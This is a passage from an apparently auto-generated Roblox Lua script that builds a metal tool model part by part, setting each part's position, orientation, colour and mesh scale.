  2238. Part144.CFrame = CFrame.new(144.186279, 3.979913, 144.424271, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2239. Part144.BottomSurface = Enum.SurfaceType.Smooth
  2240. Part144.TopSurface = Enum.SurfaceType.Smooth
  2241. Part144.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2242. Part144.Position = Vector3.new(144.186279, 3.979913, 144.424271)
  2243. Part144.Orientation = Vector3.new(-90, 90, 0)
  2244. Part144.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2245. BlockMesh145.Parent = Part144
  2246. BlockMesh145.Scale = Vector3.new(0.0666666776, 1, 0.0333333351)
  2247. BlockMesh145.Scale = Vector3.new(0.0666666776, 1, 0.0333333351)
  2248. Part146.Parent = Tool0
  2249. Part146.Material = Enum.Material.Metal
  2250. Part146.BrickColor = BrickColor.new("Dark stone grey")
  2251. Part146.Rotation = Vector3.new(-180, 0, -90)
  2252. Part146.Anchored = true
  2253. Part146.FormFactor = Enum.FormFactor.Custom
  2254. Part146.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2255. Part146.CFrame = CFrame.new(143.846268, 3.99324799, 144.500931, 0, 1, 0, 1, 0, 0, 0, 0, -1)
  2256. Part146.BottomSurface = Enum.SurfaceType.Smooth
  2257. Part146.TopSurface = Enum.SurfaceType.Smooth
  2258. Part146.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2259. Part146.Position = Vector3.new(143.846268, 3.99324799, 144.500931)
  2260. Part146.Orientation = Vector3.new(0, 180, 90)
  2261. Part146.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2262. SpecialMesh147.Parent = Part146
  2263. SpecialMesh147.Scale = Vector3.new(0.166666314, 0.0666669533, 0.0333333388)
  2264. SpecialMesh147.MeshType = Enum.MeshType.Wedge
  2265. SpecialMesh147.Scale = Vector3.new(0.166666314, 0.0666669533, 0.0333333388)
  2266. Part148.Parent = Tool0
  2267. Part148.Material = Enum.Material.Metal
  2268. Part148.BrickColor = BrickColor.new("Dark stone grey")
  2269. Part148.Rotation = Vector3.new(90, 0, -90)
  2270. Part148.Anchored = true
  2271. Part148.FormFactor = Enum.FormFactor.Custom
  2272. Part148.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2273. Part148.CFrame = CFrame.new(144.396271, 3.98324203, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2274. Part148.BottomSurface = Enum.SurfaceType.Smooth
  2275. Part148.TopSurface = Enum.SurfaceType.Smooth
  2276. Part148.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2277. Part148.Position = Vector3.new(144.396271, 3.98324203, 144.500931)
  2278. Part148.Orientation = Vector3.new(90, 90, 0)
  2279. Part148.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2280. BlockMesh149.Parent = Part148
  2281. BlockMesh149.Scale = Vector3.new(0.0333333351, 0.900000274, 0.0666667521)
  2282. BlockMesh149.Scale = Vector3.new(0.0333333351, 0.900000274, 0.0666667521)
  2283. Part150.Parent = Tool0
  2284. Part150.Material = Enum.Material.Metal
  2285. Part150.BrickColor = BrickColor.new("Black")
  2286. Part150.Rotation = Vector3.new(90, 0, 0)
  2287. Part150.Anchored = true
  2288. Part150.FormFactor = Enum.FormFactor.Custom
  2289. Part150.Size = Vector3.new(0.379999995, 0.200000003, 0.200000003)
  2290. Part150.CFrame = CFrame.new(144.829605, 3.86324501, 144.4776, 1, 0, 0, 0, 0, -1, 0, 1, 0)
  2291. Part150.BottomSurface = Enum.SurfaceType.Smooth
  2292. Part150.TopSurface = Enum.SurfaceType.Smooth
  2293. Part150.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2294. Part150.Position = Vector3.new(144.829605, 3.86324501, 144.4776)
  2295. Part150.Orientation = Vector3.new(90, 0, 0)
  2296. Part150.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2297. SpecialMesh151.Parent = Part150
  2298. SpecialMesh151.Scale = Vector3.new(1, 0.0666666701, 0.600000024)
  2299. SpecialMesh151.MeshType = Enum.MeshType.Wedge
  2300. SpecialMesh151.Scale = Vector3.new(1, 0.0666666701, 0.600000024)
  2301. Part152.Parent = Tool0
  2302. Part152.Material = Enum.Material.Metal
  2303. Part152.BrickColor = BrickColor.new("Dark stone grey")
  2304. Part152.Rotation = Vector3.new(-90, -90, 0)
  2305. Part152.Anchored = true
  2306. Part152.FormFactor = Enum.FormFactor.Custom
  2307. Part152.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2308. Part152.CFrame = CFrame.new(143.792938, 3.97324204, 144.490952, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  2309. Part152.BottomSurface = Enum.SurfaceType.Smooth
  2310. Part152.TopSurface = Enum.SurfaceType.Smooth
  2311. Part152.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2312. Part152.Position = Vector3.new(143.792938, 3.97324204, 144.490952)
  2313. Part152.Orientation = Vector3.new(0, -90, 90)
  2314. Part152.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2315. BlockMesh153.Parent = Part152
  2316. BlockMesh153.Scale = Vector3.new(0.166666493, 0.0666666701, 0.60000062)
  2317. BlockMesh153.Scale = Vector3.new(0.166666493, 0.0666666701, 0.60000062)
  2318. Part154.Parent = Tool0
  2319. Part154.Material = Enum.Material.Metal
  2320. Part154.BrickColor = BrickColor.new("Black")
  2321. Part154.Rotation = Vector3.new(90, 0, -180)
  2322. Part154.Anchored = true
  2323. Part154.FormFactor = Enum.FormFactor.Custom
  2324. Part154.Size = Vector3.new(0.379999995, 0.200000003, 0.200000003)
  2325. Part154.CFrame = CFrame.new(144.829605, 3.86324501, 144.30426, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2326. Part154.BottomSurface = Enum.SurfaceType.Smooth
  2327. Part154.TopSurface = Enum.SurfaceType.Smooth
  2328. Part154.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2329. Part154.Position = Vector3.new(144.829605, 3.86324501, 144.30426)
  2330. Part154.Orientation = Vector3.new(90, 180, 0)
  2331. Part154.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2332. SpecialMesh155.Parent = Part154
  2333. SpecialMesh155.Scale = Vector3.new(1, 0.0666666701, 0.600000024)
  2334. SpecialMesh155.MeshType = Enum.MeshType.Wedge
  2335. SpecialMesh155.Scale = Vector3.new(1, 0.0666666701, 0.600000024)
  2336. Part156.Parent = Tool0
  2337. Part156.Material = Enum.Material.Metal
  2338. Part156.BrickColor = BrickColor.new("Dark stone grey")
  2339. Part156.Rotation = Vector3.new(90, 0, -180)
  2340. Part156.Anchored = true
  2341. Part156.FormFactor = Enum.FormFactor.Custom
  2342. Part156.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2343. Part156.CFrame = CFrame.new(145.009598, 4.00324106, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2344. Part156.BottomSurface = Enum.SurfaceType.Smooth
  2345. Part156.TopSurface = Enum.SurfaceType.Smooth
  2346. Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2347. Part156.Position = Vector3.new(145.009598, 4.00324106, 144.444275)
  2348. Part156.Orientation = Vector3.new(90, 180, 0)
  2349. Part156.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2350. BlockMesh157.Parent = Part156
  2351. BlockMesh157.Scale = Vector3.new(0.100000009, 0.0666662827, 0.13333334)
  2352. BlockMesh157.Scale = Vector3.new(0.100000009, 0.0666662827, 0.13333334)
  2353. Part158.Parent = Tool0
  2354. Part158.Material = Enum.Material.Metal
  2355. Part158.BrickColor = BrickColor.new("Dark stone grey")
  2356. Part158.Rotation = Vector3.new(-90, -90, 0)
  2357. Part158.Anchored = true
  2358. Part158.FormFactor = Enum.FormFactor.Custom
  2359. Part158.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2360. Part158.CFrame = CFrame.new(144.562943, 3.93991303, 144.307602, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  2361. Part158.BottomSurface = Enum.SurfaceType.Smooth
  2362. Part158.TopSurface = Enum.SurfaceType.Smooth
  2363. Part158.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2364. Part158.Position = Vector3.new(144.562943, 3.93991303, 144.307602)
  2365. Part158.Orientation = Vector3.new(0, -90, 90)
  2366. Part158.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2367. BlockMesh159.Parent = Part158
  2368. BlockMesh159.Scale = Vector3.new(0.166666493, 0.100000009, 0.766666234)
  2369. BlockMesh159.Scale = Vector3.new(0.166666493, 0.100000009, 0.766666234)
  2370. Part160.Parent = Tool0
  2371. Part160.Material = Enum.Material.Metal
  2372. Part160.BrickColor = BrickColor.new("Dark stone grey")
  2373. Part160.Rotation = Vector3.new(-90, 0, 90)
  2374. Part160.Anchored = true
  2375. Part160.FormFactor = Enum.FormFactor.Custom
  2376. Part160.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2377. Part160.CFrame = CFrame.new(145.086273, 3.83324599, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2378. Part160.BottomSurface = Enum.SurfaceType.Smooth
  2379. Part160.TopSurface = Enum.SurfaceType.Smooth
  2380. Part160.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2381. Part160.Position = Vector3.new(145.086273, 3.83324599, 144.39093)
  2382. Part160.Orientation = Vector3.new(-90, 90, 0)
  2383. Part160.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2384. CylinderMesh161.Parent = Part160
  2385. CylinderMesh161.Scale = Vector3.new(0.953333139, 0.666666687, 0.769999862)
  2386. CylinderMesh161.Scale = Vector3.new(0.953333139, 0.666666687, 0.769999862)
  2387. Part162.Parent = Tool0
  2388. Part162.Material = Enum.Material.Metal
  2389. Part162.BrickColor = BrickColor.new("Black")
  2390. Part162.Rotation = Vector3.new(-90, -90, 0)
  2391. Part162.Anchored = true
  2392. Part162.FormFactor = Enum.FormFactor.Custom
  2393. Part162.Size = Vector3.new(0.200000003, 0.200000003, 0.379999965)
  2394. Part162.CFrame = CFrame.new(144.829605, 3.86657596, 144.31427, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  2395. Part162.BottomSurface = Enum.SurfaceType.Smooth
  2396. Part162.TopSurface = Enum.SurfaceType.Smooth
  2397. Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2398. Part162.Position = Vector3.new(144.829605, 3.86657596, 144.31427)
  2399. Part162.Orientation = Vector3.new(0, -90, 90)
  2400. Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2401. BlockMesh163.Parent = Part162
  2402. BlockMesh163.Scale = Vector3.new(0.566666543, 0.0333333388, 1)
  2403. BlockMesh163.Scale = Vector3.new(0.566666543, 0.0333333388, 1)
  2404. Part164.Parent = Tool0
  2405. Part164.Material = Enum.Material.Metal
  2406. Part164.BrickColor = BrickColor.new("Dark stone grey")
  2407. Part164.Rotation = Vector3.new(-90, 90, 0)
  2408. Part164.Anchored = true
  2409. Part164.FormFactor = Enum.FormFactor.Custom
  2410. Part164.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2411. Part164.CFrame = CFrame.new(143.222946, 4.07324219, 144.39093, 0, 0, 1, -1, 0, 0, 0, -1, 0)
  2412. Part164.BottomSurface = Enum.SurfaceType.Smooth
  2413. Part164.TopSurface = Enum.SurfaceType.Smooth
  2414. Part164.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2415. Part164.Position = Vector3.new(143.222946, 4.07324219, 144.39093)
  2416. Part164.Orientation = Vector3.new(0, 90, -90)
  2417. Part164.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2418. SpecialMesh165.Parent = Part164
  2419. SpecialMesh165.MeshId = "http://www.roblox.com/asset/?id=3270017"
  2420. SpecialMesh165.Scale = Vector3.new(0.0166666675, 0.0166666675, 0.0533333346)
  2421. SpecialMesh165.MeshType = Enum.MeshType.FileMesh
  2422. SpecialMesh165.Scale = Vector3.new(0.0166666675, 0.0166666675, 0.0533333346)
  2423. Part166.Parent = Tool0
  2424. Part166.Material = Enum.Material.Metal
  2425. Part166.BrickColor = BrickColor.new("Dark stone grey")
  2426. Part166.Rotation = Vector3.new(90, 0, -90)
  2427. Part166.Anchored = true
  2428. Part166.FormFactor = Enum.FormFactor.Custom
  2429. Part166.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2430. Part166.CFrame = CFrame.new(143.752945, 3.89991212, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
  2431. Part166.BottomSurface = Enum.SurfaceType.Smooth
  2432. Part166.TopSurface = Enum.SurfaceType.Smooth
  2433. Part166.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2434. Part166.Position = Vector3.new(143.752945, 3.89991212, 144.500931)
  2435. Part166.Orientation = Vector3.new(90, 90, 0)
  2436. Part166.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2437. CylinderMesh167.Parent = Part166
  2438. CylinderMesh167.Scale = Vector3.new(0.166666672, 0.666666627, 0.833333373)
  2439. CylinderMesh167.Scale = Vector3.new(0.166666672, 0.666666627, 0.833333373)
  2440. Part168.Parent = Tool0
  2441. Part168.Material = Enum.Material.Metal
  2442. Part168.BrickColor = BrickColor.new("Dark stone grey")
  2443. Part168.Rotation = Vector3.new(-90, 0, 90)
  2444. Part168.Anchored = true
  2445. Part168.FormFactor = Enum.FormFactor.Custom
  2446. Part168.Size = Vector3.new(0.213333338, 0.400000006, 0.200000003)
  2447. Part168.CFrame = CFrame.new(144.28627, 3.88657904, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2448. Part168.BottomSurface = Enum.SurfaceType.Smooth
  2449. Part168.TopSurface = Enum.SurfaceType.Smooth
  2450. Part168.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2451. Part168.Position = Vector3.new(144.28627, 3.88657904, 144.39093)
  2452. Part168.Orientation = Vector3.new(-90, 90, 0)
  2453. Part168.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2454. BlockMesh169.Parent = Part168
  2455. BlockMesh169.Scale = Vector3.new(1, 1, 0.699999988)
  2456. BlockMesh169.Scale = Vector3.new(1, 1, 0.699999988)
  2457. Part170.Parent = Tool0
  2458. Part170.Material = Enum.Material.Metal
  2459. Part170.BrickColor = BrickColor.new("Dark stone grey")
  2460. Part170.Rotation = Vector3.new(180, 0, 90)
  2461. Part170.Anchored = true
  2462. Part170.FormFactor = Enum.FormFactor.Custom
  2463. Part170.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2464. Part170.CFrame = CFrame.new(144.106277, 3.99324799, 144.500931, 0, -1, -0, -1, 0, -0, 0, 0, -1)
  2465. Part170.BottomSurface = Enum.SurfaceType.Smooth
  2466. Part170.TopSurface = Enum.SurfaceType.Smooth
  2467. Part170.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2468. Part170.Position = Vector3.new(144.106277, 3.99324799, 144.500931)
  2469. Part170.Orientation = Vector3.new(0, -180, -90)
  2470. Part170.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2471. SpecialMesh171.Parent = Part170
  2472. SpecialMesh171.Scale = Vector3.new(0.166666299, 0.200000286, 0.0333333388)
  2473. SpecialMesh171.MeshType = Enum.MeshType.Wedge
  2474. SpecialMesh171.Scale = Vector3.new(0.166666299, 0.200000286, 0.0333333388)
  2475. Part172.Parent = Tool0
  2476. Part172.Material = Enum.Material.Metal
  2477. Part172.BrickColor = BrickColor.new("Dark stone grey")
  2478. Part172.Rotation = Vector3.new(-180, 0, 0)
  2479. Part172.Anchored = true
  2480. Part172.FormFactor = Enum.FormFactor.Custom
  2481. Part172.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2482. Part172.CFrame = CFrame.new(144.936279, 4.02657318, 144.387604, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  2483. Part172.BottomSurface = Enum.SurfaceType.Smooth
  2484. Part172.TopSurface = Enum.SurfaceType.Smooth
  2485. Part172.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2486. Part172.Position = Vector3.new(144.936279, 4.02657318, 144.387604)
  2487. Part172.Orientation = Vector3.new(0, 180, 180)
  2488. Part172.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2489. CylinderMesh173.Parent = Part172
  2490. CylinderMesh173.Scale = Vector3.new(0.2499993, 0.166666672, 0.25000006)
  2491. CylinderMesh173.Scale = Vector3.new(0.2499993, 0.166666672, 0.25000006)
  2492. Part174.Parent = Tool0
  2493. Part174.Material = Enum.Material.Metal
  2494. Part174.BrickColor = BrickColor.new("Dark stone grey")
  2495. Part174.Rotation = Vector3.new(-90, 0, 90)
  2496. Part174.Anchored = true
  2497. Part174.FormFactor = Enum.FormFactor.Custom
  2498. Part174.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2499. Part174.CFrame = CFrame.new(144.216263, 3.99324799, 144.500931, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2500. Part174.BottomSurface = Enum.SurfaceType.Smooth
  2501. Part174.TopSurface = Enum.SurfaceType.Smooth
  2502. Part174.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2503. Part174.Position = Vector3.new(144.216263, 3.99324799, 144.500931)
  2504. Part174.Orientation = Vector3.new(-90, 90, 0)
  2505. Part174.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2506. BlockMesh175.Parent = Part174
  2507. BlockMesh175.Scale = Vector3.new(0.0333333462, 0.899998665, 0.166666642)
  2508. BlockMesh175.Scale = Vector3.new(0.0333333462, 0.899998665, 0.166666642)
  2509. Part176.Parent = Tool0
  2510. Part176.Material = Enum.Material.Metal
  2511. Part176.BrickColor = BrickColor.new("Dark stone grey")
  2512. Part176.Rotation = Vector3.new(90, 0, -180)
  2513. Part176.Anchored = true
  2514. Part176.FormFactor = Enum.FormFactor.Custom
  2515. Part176.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2516. Part176.CFrame = CFrame.new(144.909607, 4.01991081, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2517. Part176.BottomSurface = Enum.SurfaceType.Smooth
  2518. Part176.TopSurface = Enum.SurfaceType.Smooth
  2519. Part176.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2520. Part176.Position = Vector3.new(144.909607, 4.01991081, 144.444275)
  2521. Part176.Orientation = Vector3.new(90, 180, 0)
  2522. Part176.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2523. CylinderMesh177.Parent = Part176
  2524. CylinderMesh177.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  2525. CylinderMesh177.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  2526. Part178.Parent = Tool0
  2527. Part178.Material = Enum.Material.Metal
  2528. Part178.BrickColor = BrickColor.new("Dark stone grey")
  2529. Part178.Rotation = Vector3.new(-90, 0, 90)
  2530. Part178.Anchored = true
  2531. Part178.FormFactor = Enum.FormFactor.Custom
  2532. Part178.Size = Vector3.new(0.200000003, 0.573333442, 0.200000003)
  2533. Part178.CFrame = CFrame.new(144.019608, 3.98323798, 144.28093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2534. Part178.BottomSurface = Enum.SurfaceType.Smooth
  2535. Part178.TopSurface = Enum.SurfaceType.Smooth
  2536. Part178.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2537. Part178.Position = Vector3.new(144.019608, 3.98323798, 144.28093)
  2538. Part178.Orientation = Vector3.new(-90, 90, 0)
  2539. Part178.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2540. BlockMesh179.Parent = Part178
  2541. BlockMesh179.Scale = Vector3.new(0.0333333351, 1, 0.0666666403)
  2542. BlockMesh179.Scale = Vector3.new(0.0333333351, 1, 0.0666666403)
  2543. Part180.Parent = Tool0
  2544. Part180.Material = Enum.Material.Metal
  2545. Part180.BrickColor = BrickColor.new("Dark stone grey")
  2546. Part180.Rotation = Vector3.new(90, 0, -180)
  2547. Part180.Anchored = true
  2548. Part180.FormFactor = Enum.FormFactor.Custom
  2549. Part180.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2550. Part180.CFrame = CFrame.new(144.939606, 4.05324221, 144.457596, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2551. Part180.BottomSurface = Enum.SurfaceType.Smooth
  2552. Part180.TopSurface = Enum.SurfaceType.Smooth
  2553. Part180.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2554. Part180.Position = Vector3.new(144.939606, 4.05324221, 144.457596)
  2555. Part180.Orientation = Vector3.new(90, 180, 0)
  2556. Part180.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2557. CylinderMesh181.Parent = Part180
  2558. CylinderMesh181.Scale = Vector3.new(19.1999893, 0.0666666701, 0.800000072)
  2559. CylinderMesh181.Scale = Vector3.new(19.1999893, 0.0666666701, 0.800000072)
  2560. Part182.Parent = Tool0
  2561. Part182.Material = Enum.Material.Metal
  2562. Part182.BrickColor = BrickColor.new("Dark stone grey")
  2563. Part182.Rotation = Vector3.new(-90, 0, 90)
  2564. Part182.Anchored = true
  2565. Part182.FormFactor = Enum.FormFactor.Custom
  2566. Part182.Size = Vector3.new(0.200000003, 0.906666696, 0.200000003)
  2567. Part182.CFrame = CFrame.new(144.186279, 3.983248, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2568. Part182.BottomSurface = Enum.SurfaceType.Smooth
  2569. Part182.TopSurface = Enum.SurfaceType.Smooth
  2570. Part182.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2571. Part182.Position = Vector3.new(144.186279, 3.983248, 144.39093)
  2572. Part182.Orientation = Vector3.new(-90, 90, 0)
  2573. Part182.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2574. BlockMesh183.Parent = Part182
  2575. BlockMesh183.Scale = Vector3.new(0.266666472, 1, 0.0666666701)
  2576. BlockMesh183.Scale = Vector3.new(0.266666472, 1, 0.0666666701)
  2577. Part184.Parent = Tool0
  2578. Part184.Material = Enum.Material.Metal
  2579. Part184.BrickColor = BrickColor.new("Dark stone grey")
  2580. Part184.Rotation = Vector3.new(90, 0, -180)
  2581. Part184.Anchored = true
  2582. Part184.FormFactor = Enum.FormFactor.Custom
  2583. Part184.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2584. Part184.CFrame = CFrame.new(144.909607, 4.01991081, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2585. Part184.BottomSurface = Enum.SurfaceType.Smooth
  2586. Part184.TopSurface = Enum.SurfaceType.Smooth
  2587. Part184.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2588. Part184.Position = Vector3.new(144.909607, 4.01991081, 144.337601)
  2589. Part184.Orientation = Vector3.new(90, 180, 0)
  2590. Part184.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2591. CylinderMesh185.Parent = Part184
  2592. CylinderMesh185.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  2593. CylinderMesh185.Scale = Vector3.new(0.50000006, 0.0666662827, 0.5)
  2594. Part186.Parent = Tool0
  2595. Part186.Material = Enum.Material.Metal
  2596. Part186.BrickColor = BrickColor.new("Dark stone grey")
  2597. Part186.Rotation = Vector3.new(90, 0, -180)
  2598. Part186.Anchored = true
  2599. Part186.FormFactor = Enum.FormFactor.Custom
  2600. Part186.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2601. Part186.CFrame = CFrame.new(145.009598, 4.00324106, 144.337601, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2602. Part186.BottomSurface = Enum.SurfaceType.Smooth
  2603. Part186.TopSurface = Enum.SurfaceType.Smooth
  2604. Part186.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2605. Part186.Position = Vector3.new(145.009598, 4.00324106, 144.337601)
  2606. Part186.Orientation = Vector3.new(90, 180, 0)
  2607. Part186.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2608. BlockMesh187.Parent = Part186
  2609. BlockMesh187.Scale = Vector3.new(0.100000009, 0.0666662827, 0.13333334)
  2610. BlockMesh187.Scale = Vector3.new(0.100000009, 0.0666662827, 0.13333334)
  2611. Part188.Parent = Tool0
  2612. Part188.Material = Enum.Material.Metal
  2613. Part188.BrickColor = BrickColor.new("Dark stone grey")
  2614. Part188.Rotation = Vector3.new(-90, 0, 90)
  2615. Part188.Anchored = true
  2616. Part188.FormFactor = Enum.FormFactor.Custom
  2617. Part188.Size = Vector3.new(0.200000003, 0.533333361, 0.200000003)
  2618. Part188.CFrame = CFrame.new(144.752945, 3.88657904, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
  2619. Part188.BottomSurface = Enum.SurfaceType.Smooth
  2620. Part188.TopSurface = Enum.SurfaceType.Smooth
  2621. Part188.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2622. Part188.Position = Vector3.new(144.752945, 3.88657904, 144.39093)
  2623. Part188.Orientation = Vector3.new(-90, 90, 0)
  2624. Part188.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2625. BlockMesh189.Parent = Part188
  2626. BlockMesh189.Scale = Vector3.new(0.733333349, 1, 0.699999988)
  2627. BlockMesh189.Scale = Vector3.new(0.733333349, 1, 0.699999988)
  2628. Part190.Parent = Tool0
  2629. Part190.Material = Enum.Material.Metal
  2630. Part190.BrickColor = BrickColor.new("Dark stone grey")
  2631. Part190.Reflectance = 0.20000000298023
  2632. Part190.Rotation = Vector3.new(0, 0, -90)
  2633. Part190.Anchored = true
  2634. Part190.FormFactor = Enum.FormFactor.Custom
  2635. Part190.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2636. Part190.CFrame = CFrame.new(144.392929, 3.873245, 144.267593, 0, 1, -0, -1, 0, 0, 0, 0, 1)
  2637. Part190.BottomSurface = Enum.SurfaceType.Smooth
  2638. Part190.TopSurface = Enum.SurfaceType.Smooth
  2639. Part190.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2640. Part190.Position = Vector3.new(144.392929, 3.873245, 144.267593)
  2641. Part190.Orientation = Vector3.new(0, 0, -90)
  2642. Part190.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2643. SpecialMesh191.Parent = Part190
  2644. SpecialMesh191.MeshId = "http://www.roblox.com/asset/?id=3270017"
  2645. SpecialMesh191.Scale = Vector3.new(0.0666666701, 0.100000001, 0.0333333351)
  2646. SpecialMesh191.MeshType = Enum.MeshType.FileMesh
  2647. SpecialMesh191.Scale = Vector3.new(0.0666666701, 0.100000001, 0.0333333351)
  2648. Part192.Parent = Tool0
  2649. Part192.Material = Enum.Material.Metal
  2650. Part192.BrickColor = BrickColor.new("Black")
  2651. Part192.Rotation = Vector3.new(0, 90, 0)
  2652. Part192.Anchored = true
  2653. Part192.FormFactor = Enum.FormFactor.Custom
  2654. Part192.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2655. Part192.CFrame = CFrame.new(144.469604, 3.88990998, 144.28093, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  2656. Part192.BottomSurface = Enum.SurfaceType.Smooth
  2657. Part192.TopSurface = Enum.SurfaceType.Smooth
  2658. Part192.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2659. Part192.Position = Vector3.new(144.469604, 3.88990998, 144.28093)
  2660. Part192.Orientation = Vector3.new(0, 90, 0)
  2661. Part192.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2662. SpecialMesh193.Parent = Part192
  2663. SpecialMesh193.Scale = Vector3.new(0.0333333351, 0.333333462, 0.166666642)
  2664. SpecialMesh193.MeshType = Enum.MeshType.Wedge
  2665. SpecialMesh193.Scale = Vector3.new(0.0333333351, 0.333333462, 0.166666642)
  2666. Part194.Parent = Tool0
  2667. Part194.Material = Enum.Material.Metal
  2668. Part194.BrickColor = BrickColor.new("Dark stone grey")
  2669. Part194.Rotation = Vector3.new(-180, 0, 0)
  2670. Part194.Anchored = true
  2671. Part194.FormFactor = Enum.FormFactor.Custom
  2672. Part194.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2673. Part194.CFrame = CFrame.new(144.939606, 3.99657202, 144.39093, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  2674. Part194.BottomSurface = Enum.SurfaceType.Smooth
  2675. Part194.TopSurface = Enum.SurfaceType.Smooth
  2676. Part194.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2677. Part194.Position = Vector3.new(144.939606, 3.99657202, 144.39093)
  2678. Part194.Orientation = Vector3.new(0, 180, 180)
  2679. Part194.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2680. BlockMesh195.Parent = Part194
  2681. BlockMesh195.Scale = Vector3.new(0.799999535, 0.0666666701, 0.466666788)
  2682. BlockMesh195.Scale = Vector3.new(0.799999535, 0.0666666701, 0.466666788)
  2683. Part196.Parent = Tool0
  2684. Part196.Material = Enum.Material.Metal
  2685. Part196.BrickColor = BrickColor.new("Dark stone grey")
  2686. Part196.Rotation = Vector3.new(90, 0, -180)
  2687. Part196.Anchored = true
  2688. Part196.FormFactor = Enum.FormFactor.Custom
  2689. Part196.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2690. Part196.CFrame = CFrame.new(144.389603, 3.90657496, 144.28093, -1, 0, -0, 0, 0, -1, 0, -1, -0)
  2691. Part196.BottomSurface = Enum.SurfaceType.Smooth
  2692. Part196.TopSurface = Enum.SurfaceType.Smooth
  2693. Part196.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2694. Part196.Position = Vector3.new(144.389603, 3.90657496, 144.28093)
  2695. Part196.Orientation = Vector3.new(90, 180, 0)
  2696. Part196.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2697. CylinderMesh197.Parent = Part196
